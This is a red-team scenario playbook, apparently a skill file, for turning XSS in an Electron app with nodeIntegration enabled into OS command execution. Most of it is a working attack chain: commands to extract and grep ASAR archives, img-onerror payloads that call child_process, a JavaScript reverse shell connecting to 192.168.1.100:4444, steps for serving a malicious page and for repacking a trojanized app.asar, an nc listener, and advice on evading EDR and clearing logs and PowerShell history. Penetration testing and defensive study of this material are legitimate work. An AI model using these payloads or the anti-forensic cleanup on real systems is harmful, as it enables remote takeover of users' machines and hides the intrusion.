---
name: rt-scenario-d001
description: "D-001: Electron App XSS → RCE via nodeIntegration. Domain: desktop. Attack chain: extract ASAR archive → find nodeIntegration: true → find XSS in embedded browser view → inject require(child_process) → OS command execution. MITRE: T1059.007 → T1059.004. Real example: Business app loads external content with nodeIntegration:true → XSS in loaded page → calc.exe on Windows"
---

# D-001: Electron App XSS → RCE via nodeIntegration

## Overview

| Property | Value |
|---|---|
| Attack Objective | Achieve OS-level Remote Code Execution by exploiting XSS within an Electron app that has nodeIntegration enabled |
| Required Access Level | None (unauthenticated if the XSS is in externally loaded content) or Low (local app access) |
| Estimated Time to Execute | 30–90 minutes (depending on ASAR extraction speed and XSS surface discovery) |
| Detection Risk Level | Low (no network signatures during local phase; calc.exe pop is noisy — swap with a silent payload during real engagements) |

Electron apps bundle a Chromium browser and a Node.js runtime. When `nodeIntegration: true` is set in a `BrowserWindow` or `webview`, JavaScript running inside that window has full access to Node.js APIs including `require('child_process')`. A single XSS vector anywhere in the rendered HTML is sufficient for full OS command execution — no memory corruption required.

## Prerequisites

### Required Tools

```bash
# Node.js (includes npm) — needed for asar
node --version || winget install OpenJS.NodeJS

# asar — Electron archive tool
npm install -g asar

# Python 3 (optional — for quick HTTP server during payload staging)
python --version || winget install Python.Python.3

# strings / grep equivalent (PowerShell built-in on Windows)
# No additional install needed

# Optional: electron-builder for repacking
npm install -g electron-builder
```

### Required Access or Conditions

- Read access to the target Electron application directory (e.g., `C:\Program Files\TargetApp\` or `~/.local/share/TargetApp/`)
- The target application must render external or user-controlled HTML content
- `nodeIntegration: true` must be present in the `BrowserWindow` or `webview` configuration (confirmed in step-by-step phase)
- Authorized penetration test engagement or isolated lab environment

### Skill Level

**INTERMEDIATE** — Requires familiarity with JavaScript, basic Electron internals, and XSS exploitation. No exploit development or memory corruption skills needed.

## Attack Chain

```
[1] Extract ASAR archive
        |
        v
[2] Grep source for nodeIntegration: true
        |
        v
[3] Identify XSS surface in BrowserWindow / webview content
        |
        v
[4] Craft payload: require('child_process').exec(...)
        |
        v
[5] Deliver XSS → Node.js executes OS command
        |
        v
[6] OS Command Execution (RCE)
```

**MITRE ATT&CK:**
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1059.004 — Command and Scripting Interpreter: Unix Shell / T1059.003 — Windows Command Shell (final stage depends on OS)

## Step-by-Step Execution

### Step 1 — Locate and Extract the ASAR Archive

Electron apps ship application code inside an `app.asar` archive.

```powershell
# Find the ASAR file (Windows example)
Get-ChildItem -Path "C:\Program Files" -Recurse -Filter "app.asar" -ErrorAction SilentlyContinue

# Common locations
# Windows: C:\Program Files\<AppName>\resources\app.asar
# macOS:   /Applications/<AppName>.app/Contents/Resources/app.asar
# Linux:   /opt/<appname>/resources/app.asar

# Extract the archive to a working directory
asar extract "C:\Program Files\TargetApp\resources\app.asar" C:\RT\d001\app-extracted
```

**Expected output:**

```
(no output — silent success)
C:\RT\d001\app-extracted\   <-- directory now populated with JS/HTML source
```

**Fallback if asar fails:**
```powershell
# Some builds use app/ folder directly (no ASAR)
Get-ChildItem "C:\Program Files\TargetApp\resources\" -Directory

# If ASAR is encrypted (rare), check for electron-builder config for key hints
Get-Content "C:\Program Files\TargetApp\resources\app.asar.unpacked\" -Recurse
```

### Step 2 — Identify nodeIntegration: true

```powershell
# Search all JS files for nodeIntegration
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "nodeIntegration\s*:\s*true" -Recurse

# Also check for contextIsolation: false (weakens sandbox even without nodeIntegration)
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "contextIsolation\s*:\s*false" -Recurse

# Check webview tags with nodeintegration attribute
Select-String -Path "C:\RT\d001\app-extracted\*.html" -Pattern "nodeintegration" -Recurse
```

**Expected output:**

```
C:\RT\d001\app-extracted\main.js:42:    nodeIntegration: true,
C:\RT\d001\app-extracted\main.js:43:    contextIsolation: false,
```

**Fallback if not found:**
- Search for `webPreferences` block and inspect each key manually.
- Check if `enableRemoteModule: true` is present — older Electron versions allow RCE via `remote.require`.
- Look for `nodeIntegrationInSubFrames` or `nodeIntegrationInWorker`.

### Step 3 — Identify the XSS Surface

```powershell
# Find all loadURL / loadFile calls — these are the content sources
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "loadURL|loadFile" -Recurse

# Find webview src attributes
Select-String -Path "C:\RT\d001\app-extracted\*.html" -Pattern "<webview" -Recurse

# Find innerHTML assignments or other DOM sinks
Select-String -Path "C:\RT\d001\app-extracted\*.js" -Pattern "innerHTML|outerHTML|document\.write|insertAdjacentHTML" -Recurse
```

**Expected output:**

```
C:\RT\d001\app-extracted\renderer.js:88:  document.getElementById('preview').innerHTML = userInput;
C:\RT\d001\app-extracted\main.js:31:  win.loadURL('https://external-content.example.com');
```

Confirm the XSS sink: `innerHTML` with unsanitized user input is a direct injection point.

**Fallback if no obvious sink:**
- Trace data flow from IPC messages (`ipcRenderer.on`) to DOM writes.
- Use a local HTTP server to observe what the app fetches.
- Check for `eval()`, `Function()`, or `setTimeout(string)` calls.

### Step 4 — Craft the XSS → RCE Payload

The goal is to get JavaScript executing in the renderer process with Node.js access.

**Minimal proof-of-concept payload (Windows — pops calc.exe):**

```javascript
<img src=x onerror="require('child_process').exec('calc.exe')">
```

**Stealth payload (writes a marker file — less noisy than calc.exe):**

```javascript
<img src=x onerror="require('child_process').exec('cmd.exe /c echo pwned > C:\\RT\\d001\\pwned.txt')">
```

**Reverse shell payload (replace IP/port for your listener):**

```javascript
<img src=x onerror="
  var net=require('net'),
      cp=require('child_process'),
      sh=cp.spawn('cmd.exe',[]);
  var c=new net.Socket();
  c.connect(4444,'192.168.1.100',function(){
    c.pipe(sh.stdin);
    sh.stdout.pipe(c);
    sh.stderr.pipe(c);
  });
">
```

**If `require` is not directly accessible (contextIsolation partial config):**

```javascript
// Try accessing via window object
<img src=x onerror="window.require('child_process').exec('calc.exe')">

// Try preload script leak
<img src=x onerror="(()=>{const e=document.createElement('script');e.src='data:,require(\'child_process\').exec(\'calc.exe\')';document.head.appendChild(e)})()">
```

### Step 5 — Deliver the Payload

**Option A — XSS via user input field (innerHTML sink):**

1. Launch the target application.
2. Navigate to the input field that feeds the vulnerable `innerHTML` assignment.
3. Paste the payload directly into the field.
4. Trigger the rendering action (submit, preview, refresh).

**Option B — XSS via externally loaded URL (app calls `loadURL`):**

```powershell
# Start a local HTTP server serving a malicious page
# Create the payload HTML file
Set-Content -Path "C:\RT\d001\serve\index.html" -Value @"
<!DOCTYPE html>
<html>
<body>
<img src=x onerror="require('child_process').exec('calc.exe')">
</body>
</html>
"@

# Serve it
python -m http.server 8080 --directory C:\RT\d001\serve
```

If the app loads a URL you can influence (e.g., via a parameter, config file, or intercepted request), point it to `http://127.0.0.1:8080/index.html`.

**Option C — Modify extracted source and repack (authorized lab scenario):**

```powershell
# Edit the renderer to inject payload on load
Add-Content -Path "C:\RT\d001\app-extracted\renderer.js" -Value `
  "document.body.innerHTML += '<img src=x onerror=\"require(\'child_process\').exec(\'calc.exe\')\">';"

# Repack the ASAR
asar pack C:\RT\d001\app-extracted "C:\Program Files\TargetApp\resources\app.asar"

# Restart the application
Stop-Process -Name "TargetApp" -Force
Start-Process "C:\Program Files\TargetApp\TargetApp.exe"
```

### Step 6 — Confirm OS Command Execution

**Expected output for calc.exe payload:**

```
Windows Calculator opens on the desktop.
```

**Expected output for file marker payload:**

```powershell
Get-Content C:\RT\d001\pwned.txt
# Output: pwned
```

**Expected output for reverse shell payload:**

```bash
# On attacker machine (listener)
nc -lvnp 4444
# Connection received from <target-ip>
# Microsoft Windows [Version ...]
# C:\Program Files\TargetApp>whoami
# desktop-abc\user
```

## Real-World Reference

A business application (e.g., a Markdown editor, internal dashboard, or chat client) loads external web content or user-supplied HTML inside a `BrowserWindow` configured with `nodeIntegration: true`. An attacker who can influence the loaded content — through a stored XSS in a connected web service, a malicious file opened by the app, or a man-in-the-middle on unencrypted HTTP — injects a `require('child_process')` payload. The Electron renderer executes it with the privileges of the desktop user, launching `calc.exe` on Windows as a proof of concept or a reverse shell in a real attack.

Notable public cases:
- **VSCode extensions** (pre-2019) — extensions ran in renderer with nodeIntegration before the sandbox was enforced.
- **Slack desktop client** (2019, HackerOne) — XSS in message rendering led to RCE via nodeIntegration before the fix.
- **Mattermost desktop** (CVE-2017-8834 class) — loaded external URLs with nodeIntegration enabled.
- **exodus cryptocurrency wallet** (2018) — nodeIntegration enabled; XSS in transaction data led to wallet key exfiltration.

## MITRE ATT&CK Mapping

| Step | Phase | Tactic | Technique | Sub-technique |
|---|---|---|---|---|
| 1 — Extract ASAR | Reconnaissance | Discovery | T1083 — File and Directory Discovery | — |
| 2 — Find nodeIntegration | Reconnaissance | Discovery | T1518 — Software Discovery | T1518.001 — Security Software Discovery (config audit) |
| 3 — Find XSS surface | Reconnaissance | Discovery | T1083 — File and Directory Discovery | — |
| 4 — Craft JS payload | Execution | Execution | T1059.007 — Command and Scripting Interpreter: JavaScript | — |
| 5 — Deliver XSS | Execution | Initial Access / Execution | T1059.007 — JavaScript | T1189 — Drive-by Compromise (if via external URL) |
| 6 — OS command execution | Execution | Execution | T1059.003 — Windows Command Shell | — |
| 6 — Reverse shell | Command & Control | C2 | T1059.004 — Unix Shell / T1059.003 | T1071.001 — Web Protocols |
| Post-exploitation | Privilege Escalation | — | T1548 — Abuse Elevation Control Mechanism | If app runs elevated |

## Detection and OPSEC

### How This Attack is Detected

| Detection Point | Signal |
|---|---|
| Endpoint EDR | `child_process.exec` spawning `cmd.exe` / `calc.exe` as child of Electron renderer process |
| Process tree | `TargetApp.exe` → `cmd.exe` (anomalous parent-child relationship) |
| File system | New files written by the Electron process to unexpected locations |
| Network | Outbound TCP connection from Electron process to unknown IP on non-standard port (reverse shell) |
| ASAR modification | Hash mismatch on `app.asar` if integrity checking is in place |
| Logging | `console.error` / renderer crash logs if payload fails |

### Reducing Detection Risk During Authorized Engagement

- Use the **file marker payload** (`echo pwned > file.txt`) instead of calc.exe — calc.exe triggers many EDR behavioral rules.
- For reverse shell testing, use an **internal listener** (same subnet) to avoid crossing network egress controls.
- Avoid repacking `app.asar` in production environments — use Option A or B (live injection) to avoid modifying binaries.
- Schedule the test during a **maintenance window** if EDR alerting is active.
- Coordinate with the blue team so payload execution does not trigger an incident response.
- Use **short-lived payloads** — write output to a file and delete it rather than keeping a shell open.

### Artifacts Left Behind

| Artifact | Location | Notes |
|---|---|---|
| Extracted ASAR | `C:\RT\d001\app-extracted\` | Working directory — remove after test |
| Marker file | `C:\RT\d001\pwned.txt` | Remove after confirming RCE |
| Modified `app.asar` | `C:\Program Files\TargetApp\resources\app.asar` | Restore original if repacked |
| HTTP server log | `C:\RT\d001\serve\` | Python HTTP server access logs |
| Electron renderer logs | `%APPDATA%\<AppName>\logs\` | May contain console output from payload |
| Windows Event Log | Security / Application | Process creation events (Event ID 4688 if auditing enabled) |

## Cleanup

```powershell
# 1. Remove working directory
Remove-Item -Recurse -Force C:\RT\d001

# 2. Restore original app.asar (if repacked during Option C)
# Requires having backed up the original first:
# Copy-Item "C:\Program Files\TargetApp\resources\app.asar" "C:\RT\backup\app.asar.bak"
Copy-Item "C:\RT\backup\app.asar.bak" "C:\Program Files\TargetApp\resources\app.asar" -Force

# 3. Restart the application to load the restored ASAR
Stop-Process -Name "TargetApp" -Force -ErrorAction SilentlyContinue
Start-Process "C:\Program Files\TargetApp\TargetApp.exe"

# 4. Clear Electron app logs
Remove-Item -Force "$env:APPDATA\TargetApp\logs\*" -ErrorAction SilentlyContinue

# 5. Clear PowerShell command history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# 6. Verify cleanup
Test-Path C:\RT\d001   # Should return False
Get-Process -Name "TargetApp" | Select-Object Name, Id   # Should show clean restart
```

## References

### Tools

| Tool | Purpose | URL |
|---|---|---|
| `asar` | Extract and repack Electron ASAR archives | https://github.com/electron/asar |
| `electron-builder` | Repack full Electron applications | https://www.electron.build/ |
| Burp Suite | Intercept HTTP loaded by Electron | https://portswigger.net/burp |
| Frida | Dynamic instrumentation of Electron processes | https://frida.re |
| DevTools (F12) | Built-in Chromium DevTools inside Electron | Enabled by default in dev builds |

### Reading

- Electron Security Documentation: https://www.electronjs.org/docs/latest/tutorial/security
- "Electron Security Checklist" — GitHub: https://github.com/nicedoc/awesome-electron-security
- CVE-2018-15685 — Electron nodeIntegration bypass via `<webview>` drag-and-drop
- HackerOne report #681532 — Slack XSS → RCE via nodeIntegration (2019)
- "From Markdown to RCE in Atom" — https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/
- MITRE ATT&CK T1059.007: https://attack.mitre.org/techniques/T1059/007/
- MITRE ATT&CK T1059.003: https://attack.mitre.org/techniques/T1059/003/
